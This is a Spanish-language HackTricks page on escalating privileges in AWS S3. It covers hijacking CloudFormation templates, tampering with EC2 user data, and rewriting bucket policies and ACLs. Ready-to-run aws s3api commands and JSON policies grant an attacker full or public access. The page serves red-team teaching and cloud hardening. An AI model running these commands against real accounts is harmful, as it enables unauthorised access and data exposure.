AWS - S3 Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un atacante con esos permisos sobre buckets interesantes podría secuestrar recursos y escalar privilegios.

Por ejemplo, un atacante con esos permisos sobre un bucket de cloudformation llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso puede ser otorgado con la siguiente política:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

Y el secuestro es posible porque hay una pequeña ventana de tiempo desde el momento en que se carga la plantilla en el bucket hasta el momento en que la plantilla se implementa. Un atacante podría simplemente crear una función lambda en su cuenta que se active cuando se envía una notificación de bucket, y secuestrar el contenido de ese bucket.

El módulo Pacu cfn__resouce_injection se puede utilizar para automatizar este ataque. Para más información, consulte la investigación original: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Estos son los permisos para obtener y cargar objetos en S3. Varios servicios dentro de AWS (y fuera de él) utilizan el almacenamiento de S3 para almacenar archivos de configuración. Un atacante con acceso de lectura a ellos podría encontrar información sensible en ellos. Un atacante con acceso de escritura a ellos podría modificar los datos para abusar de algún servicio e intentar escalar privilegios. Estos son algunos ejemplos:

  • Si una instancia de EC2 está almacenando los datos de usuario en un bucket de S3, un atacante podría modificarlo para ejecutar código arbitrario dentro de la instancia de EC2.

s3:PutBucketPolicy

Un atacante, que necesita ser de la misma cuenta, si no, el error El método especificado no está permitido se activará, con este permiso podrá otorgarse a sí mismo más permisos sobre el bucket(s) que le permitan leer, escribir, modificar, eliminar y exponer buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un atacante podría abusar de estos permisos para concederle más acceso sobre buckets específicos. Ten en cuenta que el atacante no necesita ser de la misma cuenta. Además, el acceso de escritura.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un atacante podría abusar de estos permisos para otorgarse más acceso sobre objetos específicos dentro de los buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Se espera que un atacante con estos privilegios pueda poner un Acl a una versión específica de un objeto.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización